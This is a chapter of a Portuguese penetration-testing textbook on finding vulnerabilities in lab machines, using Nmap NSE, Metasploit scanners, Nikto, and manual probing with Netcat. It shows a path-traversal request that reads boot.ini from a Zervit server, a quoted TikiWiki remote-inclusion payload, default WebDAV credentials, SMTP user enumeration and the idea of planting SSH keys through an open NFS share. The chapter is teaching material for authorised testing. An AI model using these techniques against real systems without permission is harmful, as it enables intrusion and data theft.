187Capítulo 6 ■ Descobrindo vulnerabilidades Nmap Scripting Engine Agora vamos discutir outra ferramenta que oferece o recurso de scanning de vulnerabilidades. Assim como o Metasploit evoluiu a partir de um framework de exploração de falhas até se tornar um pacote completo de testes de invasão, com centenas de módulos, o Nmap, de modo semelhante, evoluiu além de seu objetivo inicial, que era o de efetuar scanning de portas. O NSE (Nmap Scripting Engine) permite executar scripts publicamente disponíveis e possibilita a criação de seus próprios scripts. Você encontrará os scripts empacotados com o NSE no Kali em /usr/share/nmap /scripts. Os scripts disponíveis se enquadram em diversas categorias, incluindo coleta de informações, avaliação ativa de vulnerabilidades, pesquisa de sinais de comprometimentos anteriores e assim por diante. A listagem 6.1 mostra os scripts NSE disponíveis em sua instalação default do Kali. Listagem 6.1 – Lista de scripts do Nmap root@kali:~# cd /usr/share/nmap/scripts root@kali:/usr/local/share/nmap/scripts# ls acarsd-info.nse ip-geolocation-geobytes.nse address-info.nse ip-geolocation-geoplugin.nse afp-brute.nse ip-geolocation-ipinfodb.nse afp-ls.nse ip-geolocation-maxmind.nse --trecho omitido-- Para obter mais informações sobre um script ou uma categoria de scripts em particular, use a flag --script-help no Nmap. Por exemplo, para ver todos os scripts que estão na categoria default, digite nmap --script-help default, como mostrado na listagem 6.2. Muitos fatores contribuem para determinar se um script estará na categoria default, incluindo a sua confiabilidade e o fato de o script ser seguro, com poucas chances de causar danos ao alvo. Listagem 6.2 – Ajuda para os scripts default do Nmap root@kali:~# nmap --script-help default Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-16 14:43 EDT --trecho omitido-- ftp-anon Categories: default auth safe http://nmap.org/nsedoc/scripts/ftp-anon.html
Testes de invasão188 Checks if an FTP server allows anonymous logins. If anonymous is allowed, gets a directory listing of the root directory and highlights writeable files. --trecho omitido-- Se a flag -sC for usada para dizer ao Nmap para executar um scan de scripts, além de um scanning de portas, ele executará todos os scripts da categoria default, como mostrado na listagem 6.3. Listagem 6.3 – Saída dos scripts default do Nmap root@kali:~# nmap -sC 192.168.20.10-12 Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-30 20:21 EST Nmap scan report for 192.168.20.10 Host is up (0.00038s latency). Not shown: 988 closed ports PORT STATE SERVICE 21/tcp open ftp | ftp-anon: Anonymous FTP login allowed (FTP code 230) | drwxr-xr-x 1 ftp ftp 0 Aug 06 2009 incoming |_-r--r--r-- 1 ftp ftp 187 Aug 06 2009 onefile.html |_ftp-bounce: bounce working! 25/tcp open smtp | smtp-commands: georgia.com, SIZE 100000000, SEND, SOML, SAML, HELP, VRFY, EXPN, ETRN, XTRN, |_ This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML SAML HELP NOOP QUIT 79/tcp open finger |_finger: Finger online user list request denied. 80/tcp open http |_http-methods: No Allow or Public header in OPTIONS response (status code 302) | http-title: XAMPP 1.7.2 |_Requested resource was http://192.168.20.10/xampp/splash.php --trecho omitido-- 3306/tcp open mysql | mysql-info: MySQL Error detected! | Error Code was: 1130 |_Host '192.168.20.9' is not allowed to connect to this MySQL server --trecho omitido--
189Capítulo 6 ■ Descobrindo vulnerabilidades Como você pode ver, o Nmap Scripting Engine descobriu uma boa quantidade de informações interessantes. Por exemplo, vemos que o servidor SMTP na porta 25 do alvo Windows XP permite o uso do comando VRFY , que permite ver se um nome de usuário existe no servidor de emails. Se tivermos um nome de usuário válido, o uso desse comando fará com que ataques para adivinhar credenciais tenham muito mais chances de serem bem-sucedidos. Podemos ver também que o servidor web na porta 80 parece ser uma instalação do XAMPP 1.7.2 . Na época desta publicação, a versão estável corrente do XAMPP para o Windows era a versão 1.8.3. No mínimo, a versão que encontramos está desatualizada e poderá também estar sujeita a problemas de segurança. Além de nos mostrar as vulnerabilidades em potencial, o NSE permite excluir alguns serviços. Por exemplo, podemos ver que o servidor MySQL na porta 3306 não nos permite efetuar uma conexão porque o nosso endereço IP não está au- torizado . Podemos retornar a essa porta durante a fase de pós-exploração de falhas se pudermos comprometer outros hosts no ambiente, mas, por enquanto, podemos excluir as vulnerabilidades de MySQL nesse host. Executando um único script no NSE Antes de prosseguir, vamos dar uma olhada em outro exemplo de uso de um script NSE, desta vez, em um que não faça parte do conjunto default. A partir de nosso uso básico do Nmap no capítulo anterior, sabemos que o nosso alvo Linux está executando o NFS (Network File System). O NFS permite que computadores clientes acessem arquivos locais por meio da rede, porém, em sua carreira na área de testes de invasão, você verá que, quando se trata de configurar o NFS de forma segura, é mais fácil falar do que fazer. Muitos usuários não pensam nas conse- quências de dar acesso a seus arquivos a usuários remotos no que diz respeito à segurança. O que de pior pode acontecer, né? Quem se importa se eu compartilho o meu diretório home com meus colegas de trabalho? O script NSE nfs-ls.nse se conectará com o NFS e fará a auditoria dos comparti- lhamentos. Podemos ver mais informações sobre um script individual por meio do comando --script-help, como mostrado na listagem 6.4.
Testes de invasão190 Listagem 6.4 – Detalhes do script NFS-LS do Nmap root@kali:~# nmap --script-help nfs-ls Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-16 14:49 EDT nfs-ls Categories: discovery safe http://nmap.org/nsedoc/scripts/nfs-ls.html Attempts to get useful information about files from NFS exports. The output is intended to resemble the output of <code>ls</code>. --trecho omitido-- Esse script monta os compartilhamentos remotos, faz uma auditoria de suas permissões e lista os arquivos incluídos no compartilhamento. Para executar um script em nosso alvo Linux, chame-o por meio da opção --script e o nome do script, como mostrado na listagem 6.5. Listagem 6.5 – Saída do script NFS-LS do Nmap root@kali:/# nmap --script=nfs-ls 192.168.20.11 Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-28 22:02 EST Nmap scan report for 192.168.20.11 Host is up (0.00040s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 5.1p1 Debian 3ubuntu1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch) 111/tcp open rpcbind 2 (RPC #100000) | nfs-ls: | Arguments: | maxfiles: 10 (file listing output limited) | | NFS Export: /export/georgia | NFS Access: Read Lookup Modify Extend Delete NoExecute | PERMISSION UID GID SIZE MODIFICATION TIME FILENAME | drwxr-xr-x 1000 1000 4096 2013-12-28 23:35 /export/georgia | -rw------- 1000 1000 117 2013-12-26 03:41 .Xauthority | -rw------- 1000 1000 3645 2013-12-28 21:54 .bash_history | drwxr-xr-x 1000 1000 4096 2013-10-27 03:11 .cache | -rw------- 1000 1000 16 2013-10-27 03:11 .esd_auth
191Capítulo 6 ■ Descobrindo vulnerabilidades | drwx------ 1000 1000 4096 2013-10-27 03:11 .gnupg | ?????????? ? ? ? ? .gvfs | -rw------- 1000 1000 864 2013-12-15 19:03 .recently-used.xbel | drwx------ 1000 1000 4096 2013-12-15 23:38 .ssh --trecho omitido-- Como você pode ver, o script do NSE encontrou o compartilhamento NFS /export/georgia em nosso alvo Linux. De particular interesse é o diretório .ssh , que pode incluir informações críticas, como chaves SSH e (se a autenticação com chave pública for permitida no servidor SSH) uma lista de chaves autorizadas. Ao se deparar com um erro de controle de acesso como esse, um truque comum no teste de invasão é usar o erro e a permissão de escrita para adicionar uma nova chave SSH à lista authorized_keys (nesse caso, uma chave nossa). Se essa tentativa for bem-sucedida, de repente, o erro aparentemente insignificante de poder editar documentos de um usuário se transforma na capacidade de fazer login no sistema remoto e executar comandos. Antes de prosseguir, vamos garantir que a autenticação SSH com chave pública esteja habilitada em nosso alvo Linux, o que permitirá que o ataque anteriormente vislumbrado funcione com sucesso. Login baseado em chave é considerado a forma mais robusta de autenticação SSH e é recomendado quando se trata de segurança. Uma tentativa rápida de conexão SSH com nosso alvo Linux mostra que a auten- ticação com chave pública está sendo permitida nesse caso (veja a listagem 6.6.). Listagem 6.6 – Métodos de autenticação no SSH root@kali:/# ssh 192.168.20.11 The authenticity of host '192.168.20.11 (192.168.20.11)' can't be established. RSA key fingerprint is ab:d7:b0:df:21:ab:5c:24:8b:92:fe:b2:4f:ef:9c:21. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.20.11' (RSA) to the list of known hosts. root@192.168.20.11's password: Permission denied (publickey,password). N O T A Alguns scripts NSE podem causar falhas em serviços ou provocar danos no sistema-alvo, e uma categoria toda é dedicada ao denial of service (negação de serviço). Por exemplo, o script smb-check-vulns verificará a vulnerabilidades MS08-067 e outras vulnerabilidades de SMB. Suas informações de ajuda contêm observações de que esse script provavelmente é perigoso e que não deverá ser executado em sistemas de produção, a menos que você esteja preparado para o caso de o servidor falhar.
Testes de invasão192 Módulos de scanner do Metasploit O Metasploit, que usamos no capítulo 4, também pode conduzir scanning de vulnerabilidades por meio de vários módulos auxiliares. De modo diferente dos exploits, esses módulos não nos permitirão o controle do computador-alvo, porém nos ajudarão a identificar vulnerabilidades a serem exploradas posteriormente. Um desses módulos do Metasploit procura serviços FTP que permitam acesso anônimo. Embora possa ser fácil tentar fazer login manualmente em servidores FTP individuais, os módulos auxiliares do Metasploit possibilitam efetuar o scan de vários hosts ao mesmo tempo, o que fará você economizar tempo quando estiver testando um ambiente extenso. Para selecionar um módulo em particular, utilizamos o comando use e, em seguida, definimos nossos alvos com set e fazemos o scan com o comando exploit, como mostrado na listagem 6.7. Essa sintaxe deve ser familiar, pois já foi vista no capítulo 4. Listagem 6.7 – Módulo de scanner de FTP anônimo do Metasploit msf > use scanner/ftp/anonymous msf auxiliary(anonymous) > set RHOSTS 192.168.20.10-11 RHOSTS => 192.168.20.10-11 msf auxiliary(anonymous) > exploit [*] 192.168.20.10:21 Anonymous READ (220-FileZilla Server version 0.9.32 beta 220-written by Tim Kosse (Tim.Kosse@gmx.de) 220 Please visit http://sourceforge.net/projects/filezilla/) [*] Scanned 1 of 2 hosts (050% complete) [*] 192.168.20.11:21 Anonymous READ (220 (vsFTPd 2.3.4)) [*] Scanned 2 of 2 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(anonymous) > Em , descobrimos que tanto o alvo Windows XP quanto o alvo Linux possuem FTP anônimo habilitado. Sabemos que esse pode ou não ser um problema sério, conforme os arquivos que estiverem disponíveis ao usuário anônimo na pasta de FTP. Já trabalhei em contratos em que segredos comerciais da empresa se encon- travam em um servidor FTP acessível pela Internet. Por outro lado, também já trabalhei em outros em que o uso do FTP anônimo era justificável do ponto de vista do negócio, e nenhum arquivo crítico estava presente. Cabe a um pentester preencher as informações que um scanner automatizado não pode fornecer quanto à severidade de um problema em um determinado ambiente.
193Capítulo 6 ■ Descobrindo vulnerabilidades Funções para verificação de exploits no Metasploit Alguns exploits do Metasploit incluem uma função check que se conecta a um alvo para verificar se ele é vulnerável, em vez de tentar explorar uma vulnerabilidade. Podemos usar esse comando como um tipo de scan ad hoc de vulnerabilidades, como mostrado na listagem 6.8. (Não há necessidade de especificar um payload ao executar check porque não haverá nenhuma exploração de falhas.) Listagem 6.8 – Função de verificação do MS08-067 msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 192.168.20.10 RHOST => 192.168.20.10 msf exploit(ms08_067_netapi) > check [*] Verifying vulnerable status... (path: 0x0000005a) [+] The target is vulnerable. msf exploit(ms08_067_netapi) > Quando executada a verificação de vulnerabilidade por meio de check , o Metasploit nos informa que nosso alvo Windows XP está sujeito à vulnerabilidade MS08-067 , conforme esperado. Infelizmente, nem todos os módulos do Metasploit possuem funções check. (Se você tentar executar check em um módulo que não o suporta, o Metasploit o in- formará.) Por exemplo, de acordo com o resultado de nosso scan de versões do Nmap no capítulo anterior, o servidor de emails do alvo Windows XP parece estar desatualizado e sujeito a problemas de segurança. O SLMail versão 5.5.0.4433 tem um problema conhecido, possível de ser explorado – o CVE-2003-0264 –, por- tanto podemos encontrá-lo facilmente com uma pesquisa rápida no Msfconsole à procura de cve:2003-0264. Depois que estivermos no contexto do módulo, podemos testar o uso de check, como mostrado na listagem 6.9. Listagem 6.9 – O módulo SLMail não tem a função check msf exploit(seattlelab_pass) > set RHOST 192.168.20.10 rhost => 192.168.20.10 msf exploit(seattlelab_pass) > check [*] This exploit does not support check. msf exploit(seattlelab_pass) >
Testes de invasão194 Como podemos ver, esse módulo de exploit não implementa a função check, por- tanto não temos uma garantia sólida de que um serviço está vulnerável. Embora o nosso servidor SLMail POP3 pareça ser vulnerável de acordo com o número da versão em seu banner, não podemos obter uma confirmação a partir do Metasploit. Em casos como esse, não podemos saber, com certeza, se uma vulnerabilidade existe, a menos que um exploit seja executado. Scanning de aplicações web Embora as aplicações personalizadas de um cliente possam ter problemas de segurança, o seu alvo também pode ter aplicações web prontas instaladas, como aplicações para folha de pagamento, webmail e outras, que podem ser vulneráveis em relação aos mesmos problemas. Se pudermos encontrar uma instância de um software que sabemos ser vulnerável, poderemos explorá-lo para fincar o pé em um sistema remoto. Problemas de aplicações web são particularmente interessantes em muitos testes de invasão externos, em que a sua superfície de ataque poderá estar limitada a pouco mais do que os servidores web. Por exemplo, como você pode ver na figura 6.14, navegar para a página web default do servidor web em nosso alvo Linux revela uma página default da instalação do Apache. Figura 6.14 – Página default do Apache. A menos que possamos descobrir uma vulnerabilidade no software subjacente do servidor web, teremos muita dificuldade em explorar uma página simples que exiba “It works!”. Antes de excluirmos esse serviço, porém, vamos usar um web scanner para procurar páginas adicionais que podem não estar sendo vistas.
195Capítulo 6 ■ Descobrindo vulnerabilidades Nikto O Nikto é um scanner de vulnerabilidades de aplicações web incluído no Kali que é como o Nessus para aplicações web: ele procura problemas como arquivos perigosos, versões desatualizadas e erros de configuração. Para executar o Nikto em nosso alvo Linux, informamos o host em que faremos o scan por meio da flag -h, como mostrado na listagem 6.10. Listagem 6.10 – Executando o Nikto root@kali:/# nikto -h 192.168.20.11 - Nikto v2.1.5 --------------------------------------------------------------------------- + Target IP: 192.168.20.11 + Target Hostname: 192.168.20.11 + Target Port: 80 + Start Time: 2015-12-28 21:31:38 (GMT-5) --------------------------------------------------------------------------- + Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch --trecho omitido-- + OSVDB-40478: /tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan. phpinfo()&t=png&title=http://cirt.net/rfiinc.txt?: TikiWiki contains a vulnerability which allows remote attackers to execute arbitrary PHP code. + 6474 items checked: 2 error(s) and 7 item(s) reported on remote host + End Time: 2015-12-28 21:32:41 (GMT-5) (63 seconds) Navegar manualmente para o path da instalação default de todas as aplicações com vulnerabilidades conhecidas seria uma tarefa maçante, mas, felizmente, o Nikto procura URLs que podem não estar aparentes. Uma descoberta particularmente interessante, nesse caso, corresponde a uma instalação vulnerável do software TikiWiki no servidor. Certamente, se acessarmos o diretório do TikiWiki em http://192.168.20.11/tikiwiki/, encontraremos o software CMS. O Nikto acha que essa instalação está sujeita a uma vulnerabilidade de execução de código, e uma análise adicional da entrada 40478 do OSVDB (Open Sourced Vulnerability Database) revela que esse problema tem um exploit associado no Metasploit, que poderá ser usado durante a exploração de falhas. N O T A O OSVDB (http://osvdb.com/) é um repositório de vulnerabilidades específico para softwares de código aberto como o TikiWiki, com informações detalhadas sobre uma ampla variedade de produtos. Use-o para procurar informações adicionais sobre possíveis problemas que você encontrar.
Testes de invasão196 Atacando o XAMPP Ao navegar para o nosso servidor web no Windows XP, vemos em http://192.168.20.10/ que a página web default se anuncia como XAMPP 1.7.2. Por padrão, instalações do XAMPP incluem o phpMyAdmin, uma aplicação web para administração de banco de dados. Em uma situação ideal, o phpMyAdmin não estaria disponível por meio da rede ou, pelo menos, deveria exigir credenciais para que pudesse ser acessado. No entanto, nessa versão do XAMPP, a instalação do phpMyAdmin em http://192.168.20.10/phpmyadmin/ está disponível e aberta. Pior ainda, o phpMyAdmin nos dá acesso de root no mesmo servidor MySQL com o qual, segundo nos informou o NSE, não seria possível nos conectarmos. Ao usar o phpMyAdmin (como mostrado na figura 6.15), podemos ignorar essa restrição e executar queries MySQL no servidor. Figura 6.15 – O console aberto do phpMyAdmin reclama da configuração indevida de modo bastante enfático. Credenciais default Além da inclusão do phpMyAdmin, uma pesquisa no Google nos informa que o XAMPP 1.7.3 e versões mais antigas vêm com o software WebDAV (Web Distributed Authoring and Versioning), usado para administrar arquivos em um servidor web por meio de HTTP. A instalação do WebDAV no XAMPP tem nome de usuário e senha default iguais a wampp:xampp. Se esses valores não forem alterados, qualquer pessoa que tiver acesso ao WebDAV poderá fazer login, desfigurar o site e possi- velmente efetuar até mesmo o upload de scripts que permitirão que os invasores consigam entrar no sistema por meio do servidor web. E, como você pode ver na figura 6.16, o WebDAV realmente está presente nesse servidor.
197Capítulo 6 ■ Descobrindo vulnerabilidades Figura 6.16 – Instalação do WebDAV. Podemos usar a ferramenta Cadaver para interagir com servidores WebDAV. Conforme mostrado na listagem 6.11, usamos o Cadaver para tentar fazer uma conexão com o servidor WebDAV em http://192.168.20.10 e testar o conjunto default de credenciais. Listagem 6.11 – Usando o Cadaver root@kali:/# cadaver http://192.168.20.10/webdav Authentication required for XAMPP with WebDAV on server `192.168.20.10': Username: wampp Password: dav:/webdav/> O login com o Cadaver foi bem-sucedido . Nosso alvo Windows XP usa as credenciais default do WebDAV, que poderemos explorar. Agora que temos acesso ao WebDAV, podemos fazer o upload de arquivos no servidor web. Análise manual Às vezes, nenhuma solução chegará nem perto da análise manual de vulnerabili- dades para verificar se um serviço resultará em um comprometimento, e não há melhor maneira de se aperfeiçoar do que a prática. Nas próximas seções iremos explorar algumas pistas promissoras obtidas a partir do scanning de portas e de vulnerabilidades. Explorando uma porta estranha Uma porta que não apareceu em nossos scans automatizados foi a porta 3232 em nosso alvo Windows. Se tentarmos efetuar o scan dessa porta com um scan de versões do Nmap (como fizemos no final do capítulo 5), perceberemos que haverá uma falha. Esse comportamento sugere que o programa que está ouvindo foi projetado para ouvir um dado de entrada em particular e que ele tem dificul- dade de processar qualquer outra informação.
Testes de invasão198 Esse tipo de comportamento é interessante para os pentesters porque os programas que falham quando lidam com dados de entrada indevidos não estão validando suas entradas de forma adequada. Lembre-se de que, como vimos no capítulo 5, quando houve falhas no programa, a saída nos levou a acreditar que o software é um servidor web. A conexão com a porta usando um navegador, como mostrado na figura 6.17, confirma isso. Figura 6.17 – Servidor web na porta 3232. A página web disponibilizada não nos diz muito, porém, a partir daqui, podemos nos conectar manualmente com a porta usando o Netcat. Sabemos que o software é um servidor web, portanto conversaremos com ele assumindo essa hipótese. Sabemos que podemos navegar para a página web default, portanto podemos usar GET / HTTP/1.1 para pedir a página default ao servidor web (veja a listagem 6.12). Listagem 6.12 – Conectando-se a uma porta com o Netcat root@kali:~# nc 192.168.20.10 3232 GET / HTTP/1.1 HTTP/1.1 200 OK Server: Zervit 0.4 X-Powered-By: Carbono Connection: close Accept-Ranges: bytes Content-Type: text/html Content-Length: 36 <html> <body> hi </body> </html>root@bt:~#
199Capítulo 6 ■ Descobrindo vulnerabilidades O servidor se anuncia como sendo o Zervit 0.4 . A primeira entrada preenchida automaticamente ao efetuarmos uma pesquisa no Google em busca de Zervit 0.4 é “Zervit 0.4 exploit”, e isso não é um bom sinal para o software. Esse software de servidor web está sujeito a vários problemas de segurança que incluem um buffer overflow (transbordamento de buffer) e uma vulnerabilidade de inclusão de arquivo local, que nos permite disponibilizar outros arquivos no sistema. Esse serviço é tão sensível que é melhor evitar ataques de buffer overflow, pois um movimento em falso provocará uma falha. A inclusão de arquivos locais, por outro lado, parece promissora. Sabemos que o servidor pode processar solicita- ções HTTP GET. Por exemplo, podemos fazer o download do arquivo boot.ini do Windows XP ao retrocedermos cinco níveis de diretório no drive C usando GET, conforme mostrado na listagem 6.13. Listagem 6.13 – Inclusão de arquivo local no Zervit 0.4 root@kali:~# nc 192.168.20.10 3232 GET /../../../../../boot.ini HTTP/1.1 HTTP/1.1 200 OK Server: Zervit 0.4 X-Powered-By: Carbono Connection: close Accept-Ranges: bytes Content-Type: application/octet-stream Content-Length: 211 [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Home Edition" /fastdetect /NoExecute=OptIn Pudemos acessar boot.ini, um arquivo de configuração que informa ao Windows quais opções do sistema operacional devem ser exibidas no momento do boot. Usaremos essa inclusão de arquivo local para obter outros arquivos sensíveis no capítulo 8.
Testes de invasão200 Encontrando nomes de usuário válidos Podemos aumentar drasticamente nossas chances de um ataque bem-sucedido de senha se conhecermos nomes válidos de usuários para os serviços. (Iremos explorar isso com mais detalhes no capítulo 9.) Uma maneira de descobrir nomes válidos de usuários em servidores de email é por meio do comando VRFY SMTP, caso ele esteja disponível. Como indicado pelo nome, VRFY verifica se um usuário existe. O NSE descobriu que o verbo VRFY está habilitado no alvo Windows XP no capítulo anterior. Conecte-se à porta TCP 25 usando o Netcat e use VRFY para verificar nomes de usuários, como mostrado na listagem 6.14. Listagem 6.14 – Usando o comando VRFY do SMTP root@kali:~# nc 192.168.20.10 25 220 georgia.com SMTP Server SLmail 5.5.0.4433 Ready ESMTP spoken here VRFY georgia 250 Georgia<georgia@> VRFY john 551 User not local Ao usar VRFY, vemos que georgia é um nome de usuário válido, porém não há nenhum usuário chamado john. Daremos uma olhada em como usar nomes de usuário válidos para tentar adivinhar senhas no capítulo 9. Resumo Neste capítulo, abordamos vários métodos para descobrir vulnerabilidades que possam ser exploradas em nossos alvos. Ao usar uma variedade de ferramentas e técnicas, pudemos encontrar diversas maneiras de atacar nossos alvos, incluindo o nosso exploit MS08-067 confiável contra o servidor SMB em nosso Windows XP e uma vulnerabilidade de inclusão de arquivo local no servidor web Zervit 0.4, que nos permite fazer o download de arquivos do sistema. Por meio do comando VRFY, descobrimos um nome de usuário válido que podemos usar em ataques para adivinhar senhas no servidor de emails. Aprendemos que o servidor SLMail pode ter uma vulnerabilidade no serviço POP3, de acordo com o número da versão informada (apesar de não termos des- coberto com certeza), e encontramos uma instalação aberta do phpMyAdmin no servidor web que nos deu acesso de root ao banco de dados subjacente, bem como
201Capítulo 6 ■ Descobrindo vulnerabilidades uma instalação do XAMPP com credenciais default para o WebDAV, que nos per- mitirá fazer o upload de arquivos no servidor web. No alvo Linux, descobrimos um compartilhamento NFS com permissão de escrita, que nos possibilitou escrever no diretório .ssh de um usuário e descobrimos uma instalação do TikiWiki não perceptível de imediato no servidor web, que parece conter uma vulnerabilidade de execução de código. O servidor FTP Vsftpd 2.3.4 pode ter um backdoor oculto em consequência de um comprometimento dos repositórios do Vsftpd. A essa altura do livro, podemos ver que nossas máquinas-alvo Windows XP e Linux sofrem de vários problemas. A falta de uma superfície de ataque em nosso alvo Windows 7 parece fazer com que ele pareça ser bem seguro, mas, como veremos um pouco mais adiante, esse exterior sólido esconde algumas brechas. Antes de prosseguirmos para a exploração dessas vulnerabilidades, no próximo capítulo, daremos uma olhada na captura de tráfego para obtenção de informações críticas, por exemplo, de credenciais de login.